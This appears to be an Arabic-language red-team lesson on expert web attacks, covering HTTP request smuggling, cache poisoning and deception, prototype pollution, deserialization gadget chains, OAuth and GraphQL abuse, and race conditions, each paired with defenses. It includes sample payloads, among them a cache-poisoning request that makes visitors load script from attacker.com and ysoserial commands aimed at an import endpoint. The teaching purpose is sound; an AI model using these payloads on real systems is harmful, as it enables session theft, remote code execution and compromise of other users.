الفرق الحمراء — الهجومخبير120mL22

الويب المتقدم — تهريب الطلبات وعدم التزامن

HTTP Request Smuggling و HTTP/2 Desync

#Smuggling#Desync#Deserialization#PP

الويب على مستوى الخبراء

تشبيه — شرح مبسط
OWASP Top 10 هو الأبجدية. الدرس هذا هو القواعد و الأدب. هنا نتعامل مع ثغرات فيها أكثر من «حقن قيمة»: نلاعب على المستوى البروتوكولي و المعماري حيث يفترض المطورون أن «الـ stack يحمي نفسه».
استخدام مصرّح فقط
كل التقنيات هنا ضمن نطاق اختبارات اختراق رسمية (red team / bug bounty). تطبيقها على هدف بدون تفويض = جريمة فيدرالية.

HTTP Request Smuggling — الخلاف بين الـ frontend و backend

تشبيه — شرح مبسط
تخيّل أن هناك حارسَين يقفان بينك و بين البنك: حارس عند البوابة (frontend/proxy) و حارس داخل الردهة (backend). كل واحد يحسب «الزائرين» بطريقة مختلفة. لو أرسلتَ شخصين ملتصقين، سيرى الأول واحداً فقط، فيدخل الاثنان معاً. هذا الـ Request Smuggling.

أنواع الـ desync

  • CL.TE — الـ frontend يستخدم Content-Length، الـ backend يستخدم Transfer-Encoding.
  • TE.CL — العكس.
  • TE.TE — كلاهما يدعمان TE لكن يفسّران obfuscation بشكل مختلف.
  • HTTP/2 → HTTP/1 downgrade — frontend HTTP/2 يحوّل لـ backend HTTP/1.
  • H2.CL / H2.TE — تهريب عبر HTTP/2 mismatched headers.
CL.TE classic
POST / HTTP/1.1
Host: target.gov
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

الـ frontend يقرأ كامل الـ 13 بايت كرسالة واحدة. الـ backend يرى chunked → 0 = نهاية، فيعتبر SMUGGLED بداية رسالة التالية من ضحية حقيقية.

التأثير

  • سرقة الـ session cookies للمستخدمين القادمين.
  • تسميم الـ cache.
  • تجاوز الـ access controls على الـ frontend.
  • تنفيذ XSS على ضحايا آخرين.
  • سرقة كل الـ headers بما فيها الـ Authorization.

الكشف و الأدوات

  • HTTP Request Smuggler (Burp extension by Albinowax).
  • smuggler.py (defparam).
  • h2cSmuggler.
  • Burp Repeater مع timing differential analysis.
الدفاع
  1. HTTP/2 end-to-end (لا downgrade للـ backend).
  2. رفض الطلبات التي تحوي Content-Length و Transfer-Encoding معاً.
  3. front-end و back-end من نفس البائع و نفس الإصدار.
  4. استخدم haproxy/nginx h2-mode strict.
  5. راقب طلبات بحجم body مختلف عن الـ Content-Length في الـ logs.

HTTP/2 و gRPC — أسطح هجوم جديدة

  • Rapid Reset (CVE-2023-44487) — DoS عبر فتح streams و إغلاقها فوراً.
  • HPACK bombs — header compression للضغط على الـ memory.
  • CONTINUATION flood (CVE-2024-27316) — frames بلا END_HEADERS.
  • gRPC: تجاوز auth بـ :authority override، deserialization في الـ Protobuf.

Server-Side Cache Poisoning

تشبيه — شرح مبسط
الـ CDN/cache هو موظف مكتبة يحفظ نسخة من كل كتاب يُطلب. لو خدعتَه بأن يحفظ «كتاباً مزيفاً» تحت اسم كتاب شرعي، كل من يطلبه لاحقاً سيحصل على المزيف.
payload
# 1) ابحث عن header غير مدرج في الـ cache key
GET / HTTP/1.1
Host: target.gov
X-Forwarded-Host: attacker.com

# 2) لو الموقع يعكس X-Forwarded-Host في الـ HTML/JS:
<script src="//attacker.com/main.js">

# 3) الـ cache يحفظ النتيجة. كل زائر تالٍ يحمّل JS من المهاجم.

أداة: Param Miner (Burp) لاكتشاف الـ unkeyed inputs.

الدفاع
لا تعكس headers غير موثوقة. أضِف كل header مؤثّر إلى الـ Vary أو الـ cache key. استخدم normalization صارم في الـ CDN.

Web Cache Deception

المعكوس للـ Cache Poisoning: تخدع الـ cache ليحفظ صفحة خاصة بمستخدم على أنها static.

payload
# المستخدم لديه /account => يُرجع بياناته الشخصية
# المهاجم يرسل له رابط:
https://target.gov/account/photo.css

# الـ proxy يرى ".css" => يحفظها كـ static
# المهاجم يفتح نفس الرابط => يحصل على بيانات الضحية

Prototype Pollution — JavaScript

في JavaScript، كل object يرث من Object.prototype. تلويث هذا الـ prototype = تأثير على كل objects التطبيق.

JavaScript — vulnerable merge
// كود hashmap بسيط
function merge(target, source) {
  for (let k in source) {
    if (typeof source[k] === 'object') merge(target[k], source[k]);
    else target[k] = source[k];
  }
}

// payload في JSON body
{ "__proto__": { "isAdmin": true } }

// الآن: ({}).isAdmin === true لكل object في التطبيق!

Gadget chains معروفة على Express, Lodash, jQuery تتحول من PP إلى RCE.

أدوات: ppmap, ppfuzz, server-side-prototype-pollution-gadgets (PortSwigger).

الدفاع
  • استخدم Map و Object.create(null) بدلاً من plain objects.
  • Object.freeze(Object.prototype) في الـ entrypoint.
  • Node.js: شغّل بـ --disable-proto=delete.
  • Lint بـ eslint-plugin-security + semgrep.

Insecure Deserialization — سلاسل الـ Gadgets

الـ deserialization gadget chain هي تركيبة كائنات (موجودة بالفعل في الـ classpath) إذا فُكّ تشفيرها بترتيب معين تنفّذ كوداً.

أمثلة شهيرة

Java
ysoserial — CommonsCollections1, Spring, Groovy, Hibernate.
ysoserial.net للـ .NET.
Python
pickle، PyYAML قبل safe_load — استخدم __reduce__.
PHP
phpggc — Laravel, Symfony, WordPress, Doctrine chains.
.NET
BinaryFormatter, NetDataContractSerializer — مع ysoserial.net.
ysoserial — Java
# توليد payload يستغل CommonsCollections1 لتنفيذ id
java -jar ysoserial.jar CommonsCollections1 'id' | base64

# يُحقن في أي endpoint يستخدم ObjectInputStream
curl -X POST https://target/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin
الدفاع
  • تحاشَ deserialization على بيانات خارجية أصلاً.
  • إن لزم: استخدم whitelist صارم للـ classes (LookAheadObjectInputStream).
  • الترقيع المستمر: Java SerialFilter، Microsoft AppDomainSwitches.
  • JSON Schema / Protobuf بدلاً من native serialization.
  • وقّع الـ payloads (HMAC) إن كان لا بد منها بين خدماتك الداخلية فقط.

OAuth & SSO Abuse — هجمات القفل الذهبي

  • Account takeover via dangling redirect_uri — تسجيل subdomain منتهي ثم استخدامه redirect.
  • OAuth covert redirect — redirect_uri فيه open redirect.
  • SAML XSW (Signature Wrapping) — التلاعب في الـ XML بحيث يتحقق التوقيع لجزء و يُقرأ جزء آخر.
  • JWT confused deputy — توكن من مصدر آخر يُقبل بسبب عدم فحص iss.
  • Cross-tenant takeover في الـ SaaS متعدد الـ tenants عبر misconfigured trust.

GraphQL هجمات أعمق

GraphQL DoS — alias-based
{
  a1: user(id:1) { posts { comments { author { posts { comments { ... } } } } } }
  a2: user(id:2) { ... }
  ... 1000 aliases
}
  • Field suggestions ينكشف schema حتى لو introspection معطل.
  • Mutation race conditions: alias متعدد لاستهلاك نقاط reward قبل التحقق.
  • Authentication ضعيف على بعض الـ resolvers بسبب نسيان فحوصات.
الدفاع
query depth limit + cost analysis + rate limit per IP/user + persisted queries فقط.

Race Conditions — ثواني تكلف الملايين

تشبيه — شرح مبسط
تخيّل ATM فيه عيب: لو ضغطتَ زر السحب مرتين بسرعة فائقة قبل أن يحدّث الرصيد، يعطيك المبلغ مرتين. هذه حالة سباق (TOCTOU) — وقت الفحص ≠ وقت الاستخدام.
exploit
# 50 طلب متزامن لاستخدام كوبون تخفيض مرة واحدة
turbo-intruder + race-single-packet attack
# أو
GO + curl --parallel
ffuf -threads 50 -u https://target/redeem?code=PROMO
  • أداة Turbo Intruder + single-packet attack (PortSwigger 2023) ترسل عشرات الطلبات في حزمة TCP واحدة.
  • تأثيرات: تكرار سحب رصيد، تجاوز email verification، تسجيل اسم مستخدم محجوز.
الدفاع
  1. Database-level locks (SELECT ... FOR UPDATE).
  2. Idempotency keys على كل operation حساسة.
  3. Atomic decrement (UPDATE ... SET stock = stock - 1 WHERE stock > 0).
  4. Distributed locks (Redis, Zookeeper) عند الحاجة.

منهجية اصطياد الثغرات الحقيقية

  1. اقرأ الكود إن أمكن: source review >> black-box.
  2. اخرج عن الـ checklist: OWASP خطوة، الإبداع خطوات.
  3. افهم business logic: أكثر الثغرات قيمة هنا، لا في الـ payload.
  4. اربط الثغرات: SSRF صغير + open redirect + IDOR = اختراق كامل.
  5. وثّق proof-of-impact واضحاً للـ blue team.